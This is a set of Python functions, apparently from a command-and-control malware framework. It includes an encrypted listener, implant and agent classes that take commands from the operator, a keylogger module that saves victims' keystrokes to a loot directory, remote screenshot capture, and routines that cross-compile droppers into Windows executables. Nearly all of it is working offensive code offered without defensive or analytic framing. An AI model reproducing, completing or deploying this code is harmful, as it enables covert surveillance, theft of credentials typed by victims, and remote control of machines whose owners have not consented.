def CRYPTSETUP(self): """Sets up an encrypted tunnel to the dropper, by generating an AES key and encrypting it with the droppers ephemeral public key""" #Receive the RSA key from implant recv = b'' while True: chunk = self.s.recv(2048) recv += chunk if len(chunk) < 2048: break #Import it and send AES key back try: self.CLNT_PUB_KEY = RSA.import_key(b64decode(recv)) #bc.info("Got public key : {}".format(self.CLNT_PUB_KEY.exportKey()), True) #Encrypt our AES Key with this public key and send back self.AES_KEY = Random.get_random_bytes(32) #256 bit random key #bc.info("Created AES Key : {}".format(self.AES_KEY)) encryptor = PKCS1_OAEP.new(self.CLNT_PUB_KEY) ciphertext = b64encode(encryptor.encrypt(self.AES_KEY)) self.s.send(ciphertext) success = self.recv(string=True, print_flag=False) if 'success' in success: #bc.info("Got implant success message") self.send('success') #bc.info("Sent listnere success message.") return True except Exception as e: bc.err("Exception setting up crypto : {}".format(e)) bc.err("Msy not have received proper RSA key from implant {}:\n {}".format( self.name, self.CLNT_PUB_KEY)) return False
def main(agent, args=None): """Main function to start, stop and interact with key logging threads""" try: #get settings #bc.info("gitting the settings now: {}".format(args)) settings = parse_args(agent, args) if not settings: bc.warn("Error parsing arguments, settings : {}".format(settings)) return #Check Settings if settings['show'] and not settings['dump']: bc.warn("Cannot show keylog dump without --dump (-d) command") return if settings['dump'] and (settings['start'] or settings['kill']): bc.warn("Cannot dump alongside start/stop operations.") return #Get the agent to do the thing agent.send('keylog ' + str(args)) if settings['dump']: if get_keylog_dump(agent, settings['show']): agent.recv(print_flag=True, blocking=True) else: #Warning already printed bc.err("Failed dump, getting message from implant") agent.recv(print_flag=True, blocking=True) return else: agent.recv(print_flag=True) except Exception as e: bc.err("Exception in agent {} keylogger : {}".format(agent.name, e))
def run(self): """The main function called when the module executes""" #Override with what to do with this class when it runs exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA = [ i['value'] for i in self.options.values() ] l = lnr.BSTCPListener( exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA) #TODO - put listener resources in the right place! l.start() time.sleep(1.5) #Wait for thread to start if l.success == True: self.root_menu.listeners.append(l) bc.success("Module executed.") else: bc.err( "Run, but success flag not set. Check your listener status!") try: self.root_menu.listeners.append(l) except Exception as e: bc.warn("Could not register listener.") if self.get_option( 'exit_on_exec' ) and l.success: #Add success criteria - we want to stay in if fail return True else: #Also - increment listener ID so we can crank out many more!! self.set_option( 'name', "listener-{}".format(len(self.root_menu.listeners) + 1)) return False
def CRYPTSETUP(self, args=None): """Configure and start the encrypted tunnel with the listener""" try: self.RSA_KEY = RSA.generate(2048) pub_key = self.RSA_KEY.publickey().exportKey() print("DEBUG - generated public key : {}".format(pub_key)) #WE can't use builtin resp() yet because no crypto self.s.send(b64encode(pub_key)) enc_AES = self.s.recv(1024) decryptor = PKCS1_OAEP.new(self.RSA_KEY) self.AES_KEY = decryptor.decrypt(b64decode(enc_AES)) bc.success("Got AES Key : {}".format(self.AES_KEY)) #Destroy RSA Key del (self.RSA_KEY) bc.info("Sending success message!") self.send("success") resp = self.recv(string=True) bc.info("Got success message back off C2, now to test it.") if "success" in resp: bc.success("Cryptsetup success!!") return True else: bc.err("Crypto setup failed, response: {}".format(resp)) raise ValueError("No success message received from listener") except Exception as e: bc.err("Exception setting up crypto : {}.".format(e)) return False
def main(agent, args=None): """Order and receive screenshots from dropper, displays if requested""" try: settings = parse_args(agent, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png' #receive the file! gotsz = False raw_bytes = b'' #Get the agent to screenshot agent.send('screenshot') while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: continue if not gotsz: size = chunk[8:].decode() #Size tuple as string size = (int(size.split(',')[0]), int(size.split(',')[1])) gotsz = True #print("DEBUG - Img size : {}".format(size)) elif chunk.endswith(b'<BSEOF>'): raw_bytes += chunk[:-7] break else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Download screnshot chunk failed because : {}. Try again?". format(e)) break #Reconstruct the image from raw raw bytesb bc.info("Reconstructing image.") img = Image.frombytes('RGB', size, raw_bytes) if settings['show']: img.show() img.save(file_name) img.close() bc.green_print( "\n[+] ", "{} - screenshot saved to : {}".format(agent.name, file_name)) except Exception as e: bc.err_print("\n[!] ", "{} Screenshot failed : {}".format(agent.name, e)) #Flush socket chunk = b'' while b'<BSEOF>' not in chunk: chunk = agent.recv(print_flag=False, blocking=False)
def get_command(self): recv_command = self.recv() if recv_command: recv_command = recv_command.decode().split(' ') self.cmd = recv_command[0] self.args = ' '.join(recv_command[1:]) else: bc.err("Failed to get command from C2.") self.cmd = self.args = ''
def REGISTER(self): """Gives the agent its name and elicits a response, acts as a general comms check too""" self.send('REGISTER ' + self.name) success = self.recv(print_flag=False, string=True) if not success or (not 'Registered' in success): bc.err("Client side registration failed for : {}\nsucess :{}".format( self.name, success)) else: bc.success("{} Registered.".format(self.name), True)
def ping(self, args=None): """connectivity test between agent and dropper""" if args: self.send('ping ' + str(args)) else: self.send('ping') resp = self.recv(print_flag=False, string=True) if 'PONG' in resp: bc.success("PONG{}- response from {}".format(resp[4:], self.name)) else: bc.err("No PONG from {}\n instead: {}".format(self.name, resp))
def generate_key(self): """Generate an RSA key for the shell.""" q = "No valid key found at: {}, create one? [y/n] : ".format( self.global_options['RSA_KEY']) if input(q).lower() not in ['y', 'yes', 'ye']: bc.err( "Encryption operations may fail, try setting RSA key in home menu." ) else: key = RSA.generate(2048) with open(self.global_options['RSA_KEY'], 'wb') as f: f.write(key.export_key('PEM'))
def run(self): """The main function called when a dropper runs""" #Retry connections a few times for i in range(self.retries): try: self.connect() bc.success("Connected") #i = self.retries break except Exception as e: bc.err("Could not connect:\n{}.".format(e)) time.sleep(self.retry_wait) continue #Now connected, encrypt: bc.info("Setting up encryption") if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") return #Main loop while self.run_flag: bc.info("Loop start - receiving") self.get_command() bc.blue_print("[-] ", "- Implant got: {} : {}".format(self.cmd, self.args)) if self.cmd in self.commands: #if self.args: print("DEBUG - command {} is in the command list. Yay!".format( self.cmd)) if self.args: try: self.commands[self.cmd](self.args) except Exception as e: self.send( "ERROR Exception in Implant (with args) :\n{}". format(e)) self.cmd = '' else: try: self.commands[self.cmd]() except Exception as e: self.send("ERROR Exception in Implant :\n{}".format(e)) self.cmd = '' else: self.send( 'ERROR - Command not recognised: {}'.format(self.cmd + ' ' + self.args)) bc.info("Command complete - main loop over.")
def get_keylog_dump(agent, show=False): """REceive large amounts of keylog data by looping recieve function""" try: #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'keylog' + '-' + agent.name + timestamp + '.txt' #receive the file! raw_bytes = b'' while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: #bc.info("Empty chunk, passing") continue if chunk.endswith(b'<BSEOF>'): chunk = chunk[:-7] raw_bytes += chunk break elif b'BSEOF' in chunk: bc.err( 'Dump failed, unexpected EOF location in:\n{}.'.format( chunk)) raise ValueError("Out of place <BSEOF>") break #It's all over now else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Keylog dump chunk failed because : {}. Try again?".format( e)) return #gracefully stop download operation finally: chunk = '' #REconstruct the image from raw raw bytes dump = degzip(raw_bytes) with open(file_name, 'w') as f: f.write(dump.decode()) bc.green_print( "\n[+] ", "{} - Keylog dump saved to : {}".format(agent.name, file_name)) if show: bc.success("{} keylog data:\n".format(agent.name), False) print(dump.decode()) return True except Exception as e: bc.err_print("\n[!] ", "{} Keylog dump failed : {}".format(agent.name, e)) return False
def onecmd(self, line): """Onecmd override to handle resource files and EOFs vis stdin""" if line == 'EOF': if not self.q['read'].empty() and self.q['read'].get( ) == "RESOURCE": self.q['write'].put("DONE") time.sleep(self.resource_timeout ) #probably end of resource file, so wait else: bc.err("EOF Received, emergency exiting.") sys.exit(0) else: return super().onecmd(line)
def check_RSA_KEY(self): """Check if an RSA key exists - future functionality will use this""" if not os.path.exists(self.RSA_KEY_FILE): return False else: with open(self.RSA_KEY_FILE) as f: try: key = RSA.import_key(f.read()) self.RSA_KEY = key return True except Exception as e: bc.err("Key: {} not valid : {}".format(self.global_options['RSA_KEY'], e)) return False
def encrypt(self, message): """Encrypt strings or bytes objects, always returning bytes""" if isinstance(message, str) and message != '': message = message.encode() if isinstance(message, bytes) and message != b'': IV = Random.new().read(AES.block_size) encryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV) padded_message = Padding.pad(message, AES.block_size) encrypted_message = encryptor.encrypt(padded_message) return (IV, encrypted_message) else: bc.err("Unsupported response format : {} len: {} type: {}".format( message, len(message), type(message))) return False
def terminate(self): """Kill self and send commands to dropper to do the same""" if self.active == False and self.kill_flag.is_set(): #If already terminated, don't continue return try: self.send('terminate') except BrokenPipeError: bc.err("Terminating. Agent {}, but comms already broken.".format(self.name)) except Exception as e: bc.err("Exception:\n{}".format(e)) finally: self.active=False self.kill_flag.set() self.command = ''
def check_bool(self, setting): """Check boolean values and try and cast a string to boolean""" candidate = self.get_option(setting) if not isinstance(candidate, bool): if candidate == 'False': candidate = False elif candidate == 'True': candidate = True else: bc.err("exit_on_exec invalid, must be boolean.") return False self.set_option(setting, candidate) return True else: #It's already bool return True
def pyinstaller_win_2_linux(self, LHOST, LPORT, out_dir, filename): try: #command = "wine pyinstaller -F -w {}".format(self.src_dir + filename) command = "pyinstaller -F -c --paths=./ --distpath {} --workpath {} \ --specpath {} {} -n {} {}".format(\ self.bin_dir, self.src_dir, self.src_dir,self.hidden_imports, \ filename , 'tmp.py') os.system(command) output = '' if 'pyinstaller: error' in output: bc.err("Could not compile :\n{}".format(output)) return False except: bc.err("Could not cross compile for windows") return False return True
def check_key(self): """Check that the shell has an RSA key that can be used in future functionality""" if not os.path.exists(self.global_options['RSA_KEY']): self.generate_key() else: with open(self.global_options['RSA_KEY']) as f: try: key = RSA.import_key(f.read()) bc.success("RSA Key {} valid.".format( self.global_options['RSA_KEY'])) except Exception as e: bc.err("Key: {} not valid : {}".format( self.global_options['RSA_KEY'], e)) self.generate_key()
def decrypt(self, IV, message): """Decrypts strings or bytes objects, returning bytes objects""" print("DEBUG - Decrypting") if isinstance(message, str) and message != '': message = message.encode() if isinstance(message, bytes) and message != b'': #IV = cipher[:AES.block_size] decryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV) decrypted_padded_message = decryptor.decrypt(message) decrypted_message = Padding.unpad(decrypted_padded_message, AES.block_size) return decrypted_message else: bc.err("Unsupported response format : {} len: {} type: {}".format( message, len(message), type(message))) return False
def terminate_agent(self, agent): """Kill an individual agent""" #print("in terminate agent") agt = [a for a in self.agent_list if a.name == agent.name] #print("Agents : {}".format(agt)) if len(agt) < 1: bc.warn("Agent : {} not found, can't terminate.".format(agent)) else: for a in agt: #a.send_q.put('terminate') a.kill_flag.set() #print("I set it!") agent.join(self.terminate_timeout) if agent.is_alive() == 1: bc.err("Could not terminate_agent: {}, continuing.".format(agent.name)) del(a)
def py2exe_linux_2_win(self, LHOST, LPORT, out_dir, filename): src = [] src.append("from distutils.core import setup") src.append("import py2exe") src.append("print('about to run setup')") src.append("setup(console=['{}'])".format(self.src_dir + filename + '.py')) #src.append("setup(console=['{}'])".format(filename + '.py')) with open(self.src_dir + 'setup.py', 'w') as s: for line in src: s.write(line + '\n') #Nopw compile dat file try: command = "wine py -3.4 {} py2exe".format(self.src_dir + 'setup.py') os.system(command) except: bc.err("Could not cross compile for windows") return False return True
def encrypt(self, message): """Encrypts a string ro bytes objectpassed to it using the agents AES key""" try: if isinstance(message, str) and message != '': message = message.encode() if isinstance(message, bytes) and message != b'': IV = Random.new().read(AES.block_size) encryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV) padded_message = Padding.pad(message, AES.block_size) encrypted_message = encryptor.encrypt(padded_message) return (IV, encrypted_message) else: bc.err("Unsupported response format : {} : {}".format(message, type(message))) return False except Exception as e: bc.err("Encryption failure : {}".format(e)) return False
def recv(self, print_flag=True, debug=False, string=False): """Receive data from the C2, handles long messages until length <2048 decrypts and returns everything as bytes or string as per string flag. now designed to get any network traffic and store in fifo, then do recv from fifo.""" #get traffic from network and append to recv_buffer while True: chunk = self.s.recv(2048) self.recv_buf += chunk if len(chunk) < 2048: break #parse recv buffer for next message #We should have a colon at position 1, #another after the 16 byte IV, then another somwhere else again if self.recv_buf.count(b':') < 3: bc.err("Error, didn't receive at least 1 complete message") return False elif self.recv_buf.find(b':') > 0 and self.recv_buf.find( b':', 1) != AES.block_size + 1: bc.err("Receive buffer contains malformed messages!") return False else: #first col already at pos 0 from previous checks col1 = 0 col2 = self.recv_buf.find(b':', 1) col3 = self.recv_buf.find(b':', col2 + 1) message = self.recv_buf[:col3 + 1] self.recv_buf = self.recv_buf[ col3 + 1:] #Also remove the message from queue if debug: bc.info("Encrypted message : {}".format(message)) IV = b64decode(message[col1 + 1:col2]) ciphertext = b64decode(message[col2 + 1:col3 + 1]) #Decryption return either message, or False if debug: bc.info("IV : {}".format(IV)) if string: return self.decrypt(IV, ciphertext).decode() else: return self.decrypt(IV, ciphertext)
def setup(self): """Configures and tests the module, anything that sanity checks user input can be put in here""" #Override this with any pre-module tests you need acceptable_colors = ['red', 'orange', 'blue', 'green', None] if self.get_option('color') not in acceptable_colors: bc.err_print( "[!] ", "- Color {} invalid - must be set to red, orange, green, blue or None." .format(self.options['color'][0])) return False #Check if we can cast this particular variable to an integer try: self.set_option('num_prints', int(self.get_option('num_prints'))) except: bc.err( "num_prints {} invalid - must be integer. Cannot auto-convert." .format(self.options['num_prints'][0])) return False if not isinstance(self.get_option('num_prints'), int): bc.err("num_prints invalid - must be integer.") return False if not isinstance(self.get_option('message'), str): bc.err("num_prints invalid - must be integer.") return False if not self.check_bool('exit_on_exec'): return False return True
def send(self, message, debug=False): """Send string to C2, automatically encrypts the data and manages conversion of the data to bytes & b64encoded objects before sending.""" if not message: bc.info("No mesasge to send. not sending.") return try: if debug: bc.info("Sending {} to {}.".format(message, str(self.name))) enc = self.encrypt(message) if enc: if debug: print("Message - {} IV : {}".format(message, enc[0])) bc.info("Message length : {}".format(len(b''.join(enc)))) message = b':' + b':'.join( [b64encode(i) for i in enc]) + b':' #colon IV colon message, colon if message: self.s.sendall(message) #Sendall instead else: bc.err("Encryption failed in repl function.") except BrokenPipeError as e: bc.err("Agent {} not responding. Terminating".format(self.name)) self.terminate() bc.warn("Terminate failed, falling back on emergency method.") raise Exception("Agent {} dead.".format(self.name)) except Exception as e: bc.err("Failed to send message: {}".format(e))
def load_methods(self, mod_spec): """Actually does the loading of menu methods to the interact menu. Not yet really used, but may develop menu methods in future.""" for method in (i for i in mod_spec['methods'] if i['menu']): import_dict = {method['name']: ''} filename = mod_spec['load_dir'] + method['menu'] with open(filename, 'r') as f: for line in f: import_dict[method['name']] += line imported_mod = importer.bs_import(import_dict) for func in imported_mod[1]: try: g = getattr(self, func) bc.err( "Error, method already exists in the menu!\n{}".format( g)) except: #It's not there, let's make it setattr(self, func, MethodType(eval('imported_mod[0].' + func), self)) self.methods['do_' + method['name']] = method['help']
def decrypt(self, IV, message): """Decrypts a string or bytes objectpassed to it using the agents AES key and message IV""" try: if isinstance(message, str) and message != '': message = message.encode() if isinstance(message, bytes) and message != b'': decryptor = AES.new(self.AES_KEY, AES.MODE_CBC, IV) #print("made decryptor") decrypted_padded_message = decryptor.decrypt(message) #print("got padded message") decrypted_message = Padding.unpad( decrypted_padded_message, AES.block_size) #print("Unpadded") return decrypted_message else: bc.err("Unsupported response format : {} : {}".format(message, type(message))) return False except Exception as e: bc.err("Decryption failure : {}".format(e)) return False
def run(self): """Main function run when Agent thread is started""" #Initial setup if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") self.terminate() return bc.success("Established encrypted session : {}".format(self.name), True) self.REGISTER() #Main loop while True: if self.kill_flag.is_set(): try: self.send('terminate') self.s.shutdown(socket.SHUT_RDWR) except Exception as e: pass #bc.warn("Exception in {} after kill flag set {}.".format(self.name, e)) finally: self.s.close() return if self.active: if not self.send_q.empty(): self.command = self.send_q.get_nowait() #False non blocking #It's hogging CPU, is the queue maybe full of blank strings? if not self.command: time.sleep(0.5) continue self.do_command() #print("DEBUG - Putting {} in the recv q".format(self.response)) #self.recv_q.put(self.response) #actually recieve needs to be managed e.g. file transfers time.sleep(0.5) bc.warn_print("\n[!] ", "- Agent {} terminated.".format(self.name)) return
def recv(self, print_flag=True, debug=False, string=False, blocking=True): """Receive data from implant, handles decryption of the data and will continue to receive until no more data is sent.""" if debug: bc.info("Agent {} receiving data.".format(self.name)) if not blocking: #Sockets should be non-blocking self.s.setblocking(0) if debug: bc.info("Set nonblocking.") else: self.s.setblocking(1) if debug: bc.info("Set blocking.") #get traffic from network and append to recv_buffer try: while True: chunk = self.s.recv(2048) self.recv_buf += chunk if len(chunk) < 2048: break except socket.error as e: err = e.args[0] #err, text = e.args if err == errno.EAGAIN or err == errno.EWOULDBLOCK: #bc.info("No data received by socket in {}".format(self.name)) if debug: bc.info("No data received by socket in {}".format(self.name)) else: # a "real" error occurred bc.err("Socket error in {} receive : {}".format(self.name, e)) #parse recv buffer for next message #We should have a colon at position 1, #another after the 16 byte IV, then another somwhere else again if self.recv_buf.count(b':') < 3: if debug: bc.err("Error, no data to rev. Didn't receive at least 1 complete message") return False elif self.recv_buf.find(b':')>0 and self.recv_buf.find(b':', 1) != AES.block_size + 1: bc.err("Receive buffer contains malformed messages!") return False else: #first col already at pos 0 from previous checks col1 = 0 col2 = self.recv_buf.find(b':', 1 ) col3 = self.recv_buf.find(b':', col2 +1 ) message = self.recv_buf[:col3 + 1] #Get message FIFO style self.recv_buf = self.recv_buf[col3 + 1:] #Also remove the message from queue if debug: bc.info("Encrypted message : {}".format(message)) bc.info("Decoding IV from : {}".format(message[ col1 + 1 : col2 ])) IV = b64decode(message[ col1 + 1 : col2 ]) ciphertext = b64decode(message[ col2 + 1 : col3 + 1 ]) #Decryption return either message, or False if debug: bc.info("IV : {}".format(IV)) recv = self.decrypt(IV, ciphertext) if b'ERROR Exception' in recv: bc.err("Exception occured in implant:\n{}".format(recv)) #Print if flag set if print_flag: bc.blue_print("\n[+] ", "{} : \n{}".format(self.name, recv.decode())) #return string or bytes as requested if string: if debug: bc.info("Recv returning string.") return recv.decode() else: if debug: bc.info("Recv returning bytes.") return recv
def run(self): """Main function called when listere thread starts""" try: #Check RSA key again, never too careful if not self.check_RSA_KEY(): bc.err("RSA Key not valid. If you're stuck reset in home menu.") success == False raise ValueError("RSA Key invalid") bc.info('Starting listener on {}:{}'.format(self.LHOST, self.LPORT), True) #Strong info self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.s.bind((self.LHOST, self.LPORT)) self.s.listen(self.max_conns) #Listen for max of N connectionsa self.success = True except Exception as e: bc.err_print('[!] ', '- Failed to bind socket : \n {}'.format( str(e))) self.s.shutdown(socket.SHUT_RDWR) self.s.close() return while True: #'print("DEBUG - Listener looping again!") self.s.settimeout(0.5) #Socket must timeout to enable loop if not self.kill_flag.is_set(): #Run general COMMANDS if not self.send_q.empty(): self.command = self.send_q.get_nowait() #False non blocking #It's hogging CPU, is the queue maybe full of blank strings? if self.command == '': continue self.do_method() #Handle TCP connection try: c = self.s.accept() #Timeout on accept so we can read the queue (conn, client_address) = c agt = Agent(self, conn, client_address) agt.name = "agt-"+ self.name + "-" + str(len(self.agent_list) +1) self.agent_list.append(agt) agt.start() bc.blue_print("\n[!] ", "- Agent connected : {}.".format(agt.name)) c = None #So the loop behaves #If no agent in the timeout, let's get q stuff except socket.timeout: pass #Now print anything in the queue: if not self.recv_q.empty(): #print("reading q2") resp = self.recv_q.get() #print("reading q3") bc.blue_print("[-] ", "- Received :".format(resp)) time.sleep(5) # TODO - remove else: self.s.shutdown(socket.SHUT_RDWR) self.s.close() break #Kill thread except Exception as e: bc.warn_print("[!] ", "- Listener stopped: {}".format(e)) self.s.shutdown(socket.SHUT_RDWR) self.s.close() self.success == False finally: bc.blue_print("[-] ", "- Listener {} terminated.".format(self.name))